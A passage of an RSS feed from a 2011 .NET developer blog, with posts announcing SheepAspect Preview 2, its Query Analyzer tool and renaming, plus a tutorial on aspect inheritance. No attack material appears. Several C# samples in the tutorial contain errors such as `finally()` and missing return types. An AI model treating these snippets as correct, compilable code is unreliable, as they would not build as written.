<br /> Tagged: <a href='http://hendryluk.wordpress.com/tag/asp-net-mvc/'>ASP.NET MVC</a>, <a href='http://hendryluk.wordpress.com/tag/development-practice/'>Development Practice</a>, <a href='http://hendryluk.wordpress.com/tag/security/'>Security</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hendryluk.wordpress.com/1402/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hendryluk.wordpress.com/1402/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hendryluk.wordpress.com/1402/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hendryluk.wordpress.com/1402/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hendryluk.wordpress.com/1402/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hendryluk.wordpress.com/1402/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hendryluk.wordpress.com/1402/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hendryluk.wordpress.com/1402/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hendryluk.wordpress.com/1402/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hendryluk.wordpress.com/1402/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hendryluk.wordpress.com/1402/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hendryluk.wordpress.com/1402/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hendryluk.wordpress.com/1402/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hendryluk.wordpress.com/1402/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=1402&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hendryluk.wordpress.com/2011/08/08/web-development-security-patterns/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/6da01884f4c56e4affdde6e9317ee466?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Hendry Luk</media:title>
		</media:content>
	</item>
		<item>
		<title>SheepAspect Preview 2!</title>
		<link>http://hendryluk.wordpress.com/2011/07/14/sheepaspect-preview-2/</link>
		<comments>http://hendryluk.wordpress.com/2011/07/14/sheepaspect-preview-2/#comments</comments>
		<pubDate>Thu, 14 Jul 2011 12:16:40 +0000</pubDate>
		<dc:creator>Hendry Luk</dc:creator>
				<category><![CDATA[Software Development]]></category>
		<category><![CDATA[Aspect Oriented Programming]]></category>
		<category><![CDATA[SheepAspect]]></category>

		<guid isPermaLink="false">http://hendryluk.wordpress.com/?p=1358</guid>
		<description><![CDATA[I&#8217;m very excited to announce the second preview release of SheepAspect. It&#8217;s available now, and you can install it to your project from NuGet gallery. There are few new features introduced on this release, such as changes around its API, introducing more simplicity, bug fixes, and improved implementations. But there are few things that I&#8217;d [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=1358&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m very excited to announce the second preview release of <a href="http://sheepaspect.org" target="_blank">SheepAspect</a>. It&#8217;s available now, and you can install it to your project from NuGet <a href="http://nuget.org/List/Packages/SheepAspect" target="_blank">gallery</a>.<br />
<a href="http://hendryluk.files.wordpress.com/2011/07/sheepaspectnuget.png"><img class="alignnone size-full wp-image-1359" title="SheepAspectNuget" src="http://hendryluk.files.wordpress.com/2011/07/sheepaspectnuget.png" alt="" width="525" height="284" /></a></p>
<p>There are few new features introduced on this release, such as changes around its API, introducing more simplicity, bug fixes, and improved implementations. But there are few things that I&#8217;d like to highlight what&#8217;s new in this release.</p>
<h3>NuGet Package</h3>
<p>Previously, installing SheepAspect has always been a bit of a mess. You had to reference few libraries into your project, copy some compiler.exe into a folder, modify your csproj manually to include the compiler into your build-task, and pray all the stars are lined up in a perfect angle.</p>
<p>Now in Preview-2, NuGet will do all the mundane heavy-lifting for you. The only step you need to do now is to NuGet SheepAspect straight to your main project, and that&#8217;s it. Everything will be configured for you, and you&#8217;ll be all set to go before you finish reading this sentence.</p>
<p>When you NuGet SheepAspect into your project, there are 4 things that happen:</p>
<ol>
<li>It downloads all binaries and compiler into your project, and attach the necessary runtime libraries into your project references.</li>
<li>It modifies your .csproj/.vbproj file to hook SheepAspect compiler into your post-build task.</li>
<li>Generates a default configuration file (SheepAspect.config) and add to your project. This file has been pre-configured to just work immediately, which you can then use as a starting point to configure your SheepAspect settings. (More about this below).</li>
<li>You&#8217;ll also be given one sample aspect class (/Aspects/SampleAspect.cs), and all it does is trace-logging around all public methods within your current project. (Entry, exit, exceptions).</li>
</ol>
<p>The included sample-aspect is readily active and all fully functioning out-of-the-box, so that as soon as you nuget SheepAspect into your project and hit run immediately, you&#8217;ll watch all your public methods are now writing log traces to your debug window. From here, you can use this sample &#8216;SampleAspect.cs&#8217; as a template to get started to write your very own first aspects.</p>
<h3>SheepAspect.config</h3>
<p>Another new feature introduced in Preview-2 is an easier configurability. So instead of tinkering with your .csproj/.vbproj msbuild tasks to configure SheepAspect compilation settings, you can now do so in SheepAspect.config. When you install SheepAspect, you&#8217;ll get a default config:</p>
<p><pre class="brush: xml;">
&lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot; ?&gt;
&lt;sheepaspect-config xmlns=&quot;urn:sheepaspect-config-1.0&quot;&gt;
  &lt;aspects&gt;
    &lt;assemblies&gt;
      &lt;include&gt;YourProject.exe&lt;/include&gt;
    &lt;/assemblies&gt;
  &lt;/aspects&gt;
  &lt;weave&gt;
    &lt;assemblies&gt;
      &lt;include&gt;YourProject.exe&lt;/include&gt;
    &lt;/assemblies&gt;
  &lt;/weave&gt;
&lt;/sheepaspect-config&gt;
</pre></p>
<p>It&#8217;s pretty straightforward. The xsd file is included so you can use Visual Studio intellisense to view all the different settings, although it&#8217;s all pretty basic at this point.</p>
<h3>Build Report</h3>
<p>SheepAspect compiler task spawns a separate (console) process to get around Visual Studio annoying tendency to lock dll files that you access during the task. That&#8217;s why in Preview-1 you could briefly see a console window popping up during compilation process. When an error occurs during the compilation, you&#8217;ll need to read the report printed on the console window.</p>
<p>The new SheepAspect is still using the same technique, but it&#8217;s more refined and well hidden. You won&#8217;t see any window popping up, and your compilation results will be reported nicely on your Visual Studio.</p>
<p><a href="http://hendryluk.files.wordpress.com/2011/07/builderror.png"><img class="alignnone size-full wp-image-1360" title="BuildError" src="http://hendryluk.files.wordpress.com/2011/07/builderror.png" alt="" width="650" height="221" /></a></p>
<h3>SheepAspect Query Analyzer</h3>
<p>I have <a title="SheepAspect Query Analyzer" href="http://hendryluk.wordpress.com/2011/06/27/sheepaspect-query-analyzer/">announced </a>SAQA before, but this is the first time it has ever been released. SAQA&#8217;s releases will roughly follows the release cycle of SheepAspect, but it&#8217;s distributed as a separate download. You can download SAQA for SheepAspect Prevew-2 <a href="http://sheepaspect.codeplex.com/releases/view/69889">here </a>on the project website.</p>
<h3>Factory Per Aspect</h3>
<p>Aspect factory determines how your aspect classes are instantiated during runtime. In the previous version, aspect factory was defined globally.</p>
<p><pre class="brush: csharp;">
AspectFactory.Current = new StructureMapAspectFactory(structureMapContainer);
</pre></p>
<p>But there are times when you need to use a specific factory for your particular aspect. For example to instantiate your aspect<a href="http://haacked.com/archive/2010/08/05/copying-attributes.aspx"> from attribute declaration</a>, or to instantiate from web-request (model-binding) or client cookie. New in Preview-2, now you can define your factory on a per-aspect basis.</p>
<p><pre class="brush: csharp;">
[Aspect]
[AspectFactory(typeof(AttributiveAspectFactory))]
public class MyAspect
{
}
</pre></p>
<p>If no particular factory specified for your aspect, SheepAspect will resort to a global default factory.</p>
<p><pre class="brush: csharp;">
AspectRuntime.Provider.DefaultFactory = new StructureMapAspectFactory(structureMapContainer);
</pre></p>
<p>That&#8217;s right, you&#8217;ve just seen <strong>AspectRuntime</strong> there. It&#8217;s a new addition in SheepAspect Preview-2 that gives you access to the runtime environment of your aspects. You can, for example, switch off all your aspects (or a specific aspect) for unit-testing purpose, or even to replace your aspect with a mock. You can inquire the lifecycle of your specific aspect, or even change them (e.g. from Singleton to PerThis). You can ask for the instance of a specific aspect for a particular jointpoint, and so on. It gives you a flexible and dynamic control upon your aspect-orientated runtime behaviors that can&#8217;t be scripted during compile-time alone.</p>
<h3>SheepAspect</h3>
<p>This is also the first release since the project changed its name from SheepAop. So if you&#8217;re using Preview-1, the upgrade path to Preview-2 will be a breaking and rocky one. But I&#8217;m very excited about this release, I&#8217;d strongly urge to to upgrade if you&#8217;re already on Preview-1, or to start trying out and play around with SheepAspect if you haven&#8217;t. So go on, <em>it&#8217;s only a NuGet away</em> <img src='http://s1.wp.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>These preview releases have always been about giving people an early access to gather as much feedback as I can. So any comments/issues/suggestions, as always, would be greatly appreciated <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>[<a href="http://hendryluk.wordpress.com/tag/sheepaspect">More about SheepAspect</a>]</p>
<br /> Tagged: <a href='http://hendryluk.wordpress.com/tag/aspect-oriented-programming/'>Aspect Oriented Programming</a>, <a href='http://hendryluk.wordpress.com/tag/sheepaspect/'>SheepAspect</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hendryluk.wordpress.com/1358/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hendryluk.wordpress.com/1358/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hendryluk.wordpress.com/1358/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hendryluk.wordpress.com/1358/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hendryluk.wordpress.com/1358/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hendryluk.wordpress.com/1358/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hendryluk.wordpress.com/1358/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hendryluk.wordpress.com/1358/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hendryluk.wordpress.com/1358/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hendryluk.wordpress.com/1358/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hendryluk.wordpress.com/1358/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hendryluk.wordpress.com/1358/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hendryluk.wordpress.com/1358/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hendryluk.wordpress.com/1358/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=1358&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hendryluk.wordpress.com/2011/07/14/sheepaspect-preview-2/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/6da01884f4c56e4affdde6e9317ee466?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Hendry Luk</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/07/sheepaspectnuget.png" medium="image">
			<media:title type="html">SheepAspectNuget</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/07/builderror.png" medium="image">
			<media:title type="html">BuildError</media:title>
		</media:content>
	</item>
		<item>
		<title>SheepAspect Query Analyzer</title>
		<link>http://hendryluk.wordpress.com/2011/06/27/sheepaspect-query-analyzer/</link>
		<comments>http://hendryluk.wordpress.com/2011/06/27/sheepaspect-query-analyzer/#comments</comments>
		<pubDate>Mon, 27 Jun 2011 03:27:52 +0000</pubDate>
		<dc:creator>Hendry Luk</dc:creator>
				<category><![CDATA[Software Development]]></category>
		<category><![CDATA[SheepAspect]]></category>

		<guid isPermaLink="false">https://hendryluk.wordpress.com/?p=1342</guid>
		<description><![CDATA[SheepAspect-Query-Analyzer (aka SAQA, not to be confused with Sucka’) is a simple tool I built to let you quickly punch in your SAQL pointcuts, and execute them immediately against your assembly files to get instant results. The GUI is quite plain and basic, but it does the job. This tool will hopefully come in handy [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=1342&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>SheepAspect-Query-Analyzer (aka SAQA, not to be confused with Sucka’) is a simple tool I built to let you quickly punch in your SAQL pointcuts, and execute them immediately against your assembly files to get instant results.</p>
<p>The GUI is quite plain and basic, but it does the job.</p>
<p><a href="http://hendryluk.files.wordpress.com/2011/06/saqa2.png"><img class="alignnone size-medium wp-image-1351" title="SAQA" src="http://hendryluk.files.wordpress.com/2011/06/saqa2.png?w=800" alt="" /></a></p>
<p>This tool will hopefully come in handy for developers to get into SAQL pointcuts and syntax. You just simply punch in your pointcut attributes on the text editor as you normally would on C#. E.g.</p>
<pre>[SelectMethods(“Name:’Get*’ &amp; Public”)]</pre>
<p>You will then get instant feedbacks from this pointcut by executing it against your assemblies, which will bring back all the jointpoints it picks up (i.e.: <em>all public methods with names starting with ‘Get’</em>). Since it takes standard syntax of C# attributes, once you’re happy with the result, you can just copy this line straight onto your C# class.</p>
<p>You can type in as many pointcuts as you wish on the text-editor. You can also define aliases using ‘=’. E.g.:</p>
<pre>[SelectMethods(“Name:’Get*’ &amp; Public &amp; InType:@NhConfigTypes”)]
NhConfigTypes = [SelectTypes(“Namespace: ‘NHibernate.Cfg*’”)]</pre>
<p>Those pointcuts are equivalent to the following code on the actual C# class:</p>
<p><pre class="brush: csharp;">
[Aspect]
public class MyAspect
{
   [SelectMethods(&quot;Name:'Get*' &amp; Public &amp; InType:@NhConfigTypes&quot;)]
   public void Pointcut1() {}

   [SelectTypes(&quot;Namespace:'NHibernate.Cfg*'&quot;)]
   public void NhConfigTypes(){}
}
</pre></p>
<p>SAQA is available for download from the latest <a href="http://sheepaspect.codeplex.com/SourceControl/list/changesets" target="_blank">SheepAspect trunk</a>. SAQA will also be included as part of the next SheepAspect release.</p>
<h3>What&#8217;s next?</h3>
<ul>
<li>Keyboard shortcuts</li>
<li>Ability to save the progress of your SAQA workspace</li>
<li>Ability to view and open the source-code of your joint-points in Visual Studio</li>
<li>SAQA will be able to read from SheepAspect configuration file (that will be introduced, hopefully, in the next SheepAspect major release)</li>
<li>I have NO plan to deliver any intellisense functionality, but feel free to send me a patch</li>
</ul>
<br /> Tagged: <a href='http://hendryluk.wordpress.com/tag/sheepaspect/'>SheepAspect</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hendryluk.wordpress.com/1342/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hendryluk.wordpress.com/1342/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hendryluk.wordpress.com/1342/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hendryluk.wordpress.com/1342/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hendryluk.wordpress.com/1342/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hendryluk.wordpress.com/1342/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hendryluk.wordpress.com/1342/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hendryluk.wordpress.com/1342/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hendryluk.wordpress.com/1342/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hendryluk.wordpress.com/1342/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hendryluk.wordpress.com/1342/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hendryluk.wordpress.com/1342/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hendryluk.wordpress.com/1342/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hendryluk.wordpress.com/1342/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=1342&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hendryluk.wordpress.com/2011/06/27/sheepaspect-query-analyzer/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/6da01884f4c56e4affdde6e9317ee466?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Hendry Luk</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/06/saqa2.png?w=800" medium="image">
			<media:title type="html">SAQA</media:title>
		</media:content>
	</item>
		<item>
		<title>SheepAop Is Now SheepAspect.org</title>
		<link>http://hendryluk.wordpress.com/2011/06/10/sheepaop-is-now-sheepaspect/</link>
		<comments>http://hendryluk.wordpress.com/2011/06/10/sheepaop-is-now-sheepaspect/#comments</comments>
		<pubDate>Fri, 10 Jun 2011 00:17:33 +0000</pubDate>
		<dc:creator>Hendry Luk</dc:creator>
				<category><![CDATA[Software Development]]></category>
		<category><![CDATA[SheepAspect]]></category>

		<guid isPermaLink="false">http://hendryluk.wordpress.com/?p=1322</guid>
		<description><![CDATA[I admit I didn&#8217;t spare much thought into the name when I started the project. I just simply followed the infamous Luk&#8217;s rule of project naming: &#8220;append the word &#8216;Sheep&#8217; with something boringly obvious about the project&#8221;. Hence SheepAOP. It was just a random codename I picked for a project that was intended at that [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=1322&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>I admit I didn&#8217;t spare much thought into the name when I started the project. I just simply followed the infamous <em>Luk&#8217;s rule of project naming</em>: &#8220;append the word &#8216;Sheep&#8217; with something boringly obvious about the project&#8221;. Hence SheepAOP. It was just a random codename I picked for a project that was intended at that time as my own personal proof-of-concept on one rainy weekend. And I went slightly overboard with it without bothering myself to change to a friendlier name, and the name &#8220;SheepAop&#8221; managed to see the light of day.</p>
<p>It&#8217;s not a friendly name, and quite a mouthful to say, thanks to the double vowels in the acronym &#8220;AOP&#8221;. I&#8217;ve lately started develeoping an involuntary cringing habit on the sound of &#8220;SheepAOP&#8221; produced by my mouth every time I talk to people. And I hate cringing. Something has to be done about it. Changing my habit is a bit complicated, so instead I renamed the project.</p>
<p>So it&#8217;s official, the project is now called <strong>SheepAspect</strong>. It has found a lovely home at <a href="http://sheepaspect.org">SheepAspect.org</a>, and the source-code has been refactored to embrace the new name (which is obviously a breaking change). The old url (sheepaop.codeplex.com) still works fine and simply redirects you to the new address. So once again, say hi to SheepAspect, please help it feel comfortable with its new name.</p>
<br /> Tagged: <a href='http://hendryluk.wordpress.com/tag/sheepaspect/'>SheepAspect</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hendryluk.wordpress.com/1322/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hendryluk.wordpress.com/1322/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hendryluk.wordpress.com/1322/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hendryluk.wordpress.com/1322/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hendryluk.wordpress.com/1322/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hendryluk.wordpress.com/1322/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hendryluk.wordpress.com/1322/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hendryluk.wordpress.com/1322/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hendryluk.wordpress.com/1322/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hendryluk.wordpress.com/1322/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hendryluk.wordpress.com/1322/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hendryluk.wordpress.com/1322/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hendryluk.wordpress.com/1322/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hendryluk.wordpress.com/1322/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=1322&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hendryluk.wordpress.com/2011/06/10/sheepaop-is-now-sheepaspect/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/6da01884f4c56e4affdde6e9317ee466?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Hendry Luk</media:title>
		</media:content>
	</item>
		<item>
		<title>SheepAop Part 5: Aspects Inheritance And Polymorphism</title>
		<link>http://hendryluk.wordpress.com/2011/06/06/aspects-inheritance-polymorphism/</link>
		<comments>http://hendryluk.wordpress.com/2011/06/06/aspects-inheritance-polymorphism/#comments</comments>
		<pubDate>Mon, 06 Jun 2011 16:31:29 +0000</pubDate>
		<dc:creator>Hendry Luk</dc:creator>
				<category><![CDATA[Software Development]]></category>
		<category><![CDATA[SheepAspect]]></category>

		<guid isPermaLink="false">http://hendryluk.wordpress.com/?p=1290</guid>
		<description><![CDATA[This Series Getting Started with SheepAOP Pointcuts and SAQL Basics Aspects Lifecycles &#38; Instantiations Integrating with IoC containers Aspects Inheritance &#38; Polymorphism Attributive Aspects (ala PostSharp) Unit-testing your aspects Extending SheepAop Reusing Advices Think back to the concurrency example from our previous post. We used the ReadWriteLockAspect to define the reading and writing operations within [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=1290&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<h1>This Series</h1>
<ol>
<li><a title="Part 1" href="http://hendryluk.wordpress.com/2011/05/08/sheepaop-part-1-getting-started/">Getting Started with SheepAOP</a></li>
<li><a title="Part 2" href="http://hendryluk.wordpress.com/2011/05/09/sheepaop-part-2-pointcut-and-saql-basics/">Pointcuts and SAQL Basics</a></li>
<li><a href="http://hendryluk.wordpress.com/2011/05/17/part-3-aspect-lifecycles-the-narrative/">Aspects Lifecycles &amp; Instantiations</a></li>
<li><a href="http://hendryluk.wordpress.com/2011/05/31/sheepaop-part-4-integrating-with-ioc-containers/">Integrating with IoC containers</a></li>
<li><strong>Aspects Inheritance &amp; Polymorphism</strong></li>
<li>Attributive Aspects (ala PostSharp)</li>
<li>Unit-testing your aspects</li>
<li>Extending SheepAop</li>
</ol>
<h1>Reusing Advices</h1>
<p>Think back to the<a title="Example: Concurrent Object" href="http://hendryluk.wordpress.com/2011/05/17/part-3-aspect-lifecycles-the-narrative/#Example_ConcurrentObject"> concurrency example</a> from our previous post. We used the ReadWriteLockAspect to define the reading and writing operations within our ShoppingCart, and apply a read/write locking pattern onto it. Surely we can apply this same pattern to other classes where a safe concurrent access is required. We can refactor this well-tested concurrency pattern into an abstract aspect that we can reuse instead of reimplementing it when we need it again.</p>
<p>This gives us a perfect situation to demonstrate SheepAop&#8217;s modularity and reuse, as we refactor our ReadWriteLockAspect example into the following.</p>
<p><pre class="brush: csharp;">
[AspectPerThis(&quot;ReadingsPointcut&quot;, &quot;WritingsPointcut&quot;)]
public abstract class ReadWriteLockAspect
{
   protected abstract void ReadingsPointcut(); // Abstract pointcut
   protected abstract void WritingsPointcut(); // Abstract pointcut

   protected abstract int GetTimeout(); // Abstract method

   private ReaderWriterLockSlim _lock = new ReaderWriterLockSlim();

   [Around(&quot;ReadingsPointcut&quot;)]
   public object LockRead(JoinPoint jp)
   {
      try
      {
         _lock.EnterReadLock(GetTimeout());
         return jp.Execute();
      }
      finally()
      {
         _lock.ExitReadLock();
      }
   }

   [Around(&quot;WritingsPointcut&quot;)]
   public void LockWrite(JoinPoint jp)
   {
      try
      {
         _lock.EnterWriteLock(GetTimeout());
         jp.Execute();
      }
      finally()
      {
         _lock.ExitWriteLock();
      }
   }
}
</pre></p>
<p>Now to apply a write/lock behavior to our ShoppingCart class, we simply extend the aspect. We just need to provide the implementation of the pointcuts. The behavior of the advice will be inheritted from the base aspect.</p>
<p><pre class="brush: csharp;">
public class ShoppingCartLockAspect: ReadWriteLockAspect
{
   [SelectMethod(&quot;'* ShoppingCart::Get*(*)'&quot;)]
   [SelectPropertyGet(&quot;'* ShoppingCart::*'&quot;)]
   protected override void ReadingsPointcut(){}

   [SelectMethod(&quot;InType:'ShoppingCart' &amp;&amp; Name:'AddProduct'|'RemoveProduct'&quot;)]
   protected override void WritingsPointcut(){}

   protected override int GetTimeout()
   {
      return 2000; // Timeout is 2 seconds
   }
}
</pre></p>
<p>Now we have used the base ReadWriteLockAspect to transform the ShoppingCart class to be thread-safe. We can reuse this same base aspect to any other target class that you intend to make thread-safe.</p>
<p><strong>Tips on Pointcut Compositions:</strong> make sure you take advantage of the composability of SheepAop pointcuts when designing a reusable aspect. You can devide your pointcut into fragments to extract any reusable pattern out, and only expose a small fraction of it as abstract. As an example, our ReadWriteLockAspect can be modified to automatically apply the locks on all read/write methods and properties on the particular type that you target.</p>
<p><pre class="brush: csharp;">
[AspectPerThis(&quot;ReadingsPointcut&quot;, &quot;WritingsPointcut&quot;)]
public abstract class ReadWriteLockAspect
{
   [SelectMethod(&quot;'InType:@TargetClass &amp;&amp; Name:'Get*'|'Is*' &amp;&amp; !ReturnsVoid&quot;)]
   [SelectPropertyGet(&quot;InType:@TargetClass&quot;)]
   protected void ReadingsPointcut(){}

   [SelectMethod(&quot;InType:@TargetClass &amp;&amp; Name:'Add*'|'Remove*'|'Set*'&quot;)]
   [SelectPropertySet(&quot;InType:@TargetClass&quot;)]
   protected void WritingsPointcut(){}

   //This is a small fragment of the pointcut that we expose as abstract
   protected abstract @TargetClass();

   /* and all the rest of it unchanged.. */
}
</pre></p>
<p>Now our base aspect provides a reusable template for our pointcuts, where a small fragment @TargetClass is left out as abstract to be composed to form the complete pointcut. The concrete aspect only needs to provide the implementation of this small fragment, rather than the whole pointcut expressions.</p>
<p><pre class="brush: csharp;">
public class ShoppingCartLockAspect: ReadWriteLockAspect
{
   [SelectTypes(&quot;'ShoppingCart'&quot;)]
   protected override void TargetClass(){}

   protected override int GetTimeout()
   {
      return 2000; // Timeout is 2 seconds
   }
}
</pre></p>
<h3>Other example</h3>
<p>The <a href="http://hendryluk.wordpress.com/2011/05/17/part-3-aspect-lifecycles-the-narrative/#Example_ActorModel">ActorAspect example</a> can also be refactored into an abstract class to reuse its advice behavior, but I will leave that as an exercise for the reader.</p>
<h1>Reusing Pointcuts</h1>
<p>In the previous example, we have used aspect inheritance to reuse a common advice behavior (read/write locking behavior) repeatedly for multiple pointcuts. Aspect inheritance can also be used to reuse common pointcut expressions repeatedly in multiple advice implementations. A common example of this is aspects for defining extensibility points in a plugin architecture.</p>
<p>For instance, consider you want to define an extensibility point that is triggered at the point of every bank-account transaction. So we define the following abstract aspect.</p>
<p><pre class="brush: csharp;">
[Aspect]
public abstract class AccountTransactionPlugin
{
   [SelectMethod(@&quot;InType:AssignableTo:'AccountBase'
            &amp;&amp; Name: 'Withdraw'|'Deposit'
            &amp;&amp; ArgTypes:'Money'&quot;)]
   protected void TransactionPointcut(){}

   [Around(&quot;TransactionPointcut&quot;)]
   public void AroundTransaction(MethodJointPoint jp)
   {
      OnTransacting((Account)jp.This, (Money)jp.Args[0], ()=&gt; jp.Execute());
   }

   protected abstract OnTransacting(Account account, Money amount, Action proceed);
}
</pre></p>
<p>Now that we have this extensibility point defined, a third party can provide their plugins by implementing this base-class. For example, the following plugin will add a business policy to limit transaction amounts within our banking system.</p>
<p><pre class="brush: csharp;">

public class TransactionLimitPlugin: AccountTransactionPlugin
{
   private const int CompanyLimit = 100000;
   private const int PersonalLimit = 2000;

   protected override OnTransacting(Account account, Money amount, Account proceed)
   {
      var limit = account.Customer.IsCompany? CompanyLimit: PersonalLimit;
      if(amount &gt; limit)
         throw new TransactionOverlimitException(amount, limit);
      proceed();
   }
}
</pre></p>
<p>More plugins for this specific extensibility point can be added to the system by writing more implementations of AccountTransactionPlugin (e.g. a plugin to apply transaction-fees depending on the types of the account). Typically we would have a set these abstract aspects with different pointcut-expressions, each represents different extensibility point within the system (e.g. when an order is created, when a case is raised, when a conversation occurs, etc), onto which a specific plugin can be hooked and unhooked. You can jazz up this technique by adding MEF to the mix.</p>
<p>Note that the domain code of our application might not be designed with plugin architecture in mind. It probably does not even aware of any extensibility system that is in place. This brings us to our next point&#8230;</p>
<h3>Speaking of Extensibility..</h3>
<p>Extensibility has always been a chicken-and-egg problem. Many business applications require the extensibility to accomodate rapidly changing business rules, policies, and workflows, sometimes allowing extensibility by third-party developers. To achieve this, architects are often faced with underdesign/overdesign issue. If you underdesign, you may have to make massive changes later in the development cycle. If you overdesign with excessive amount of extensibility point on every method of your application, the implementation may be burdened with code of questionable usefulness.</p>
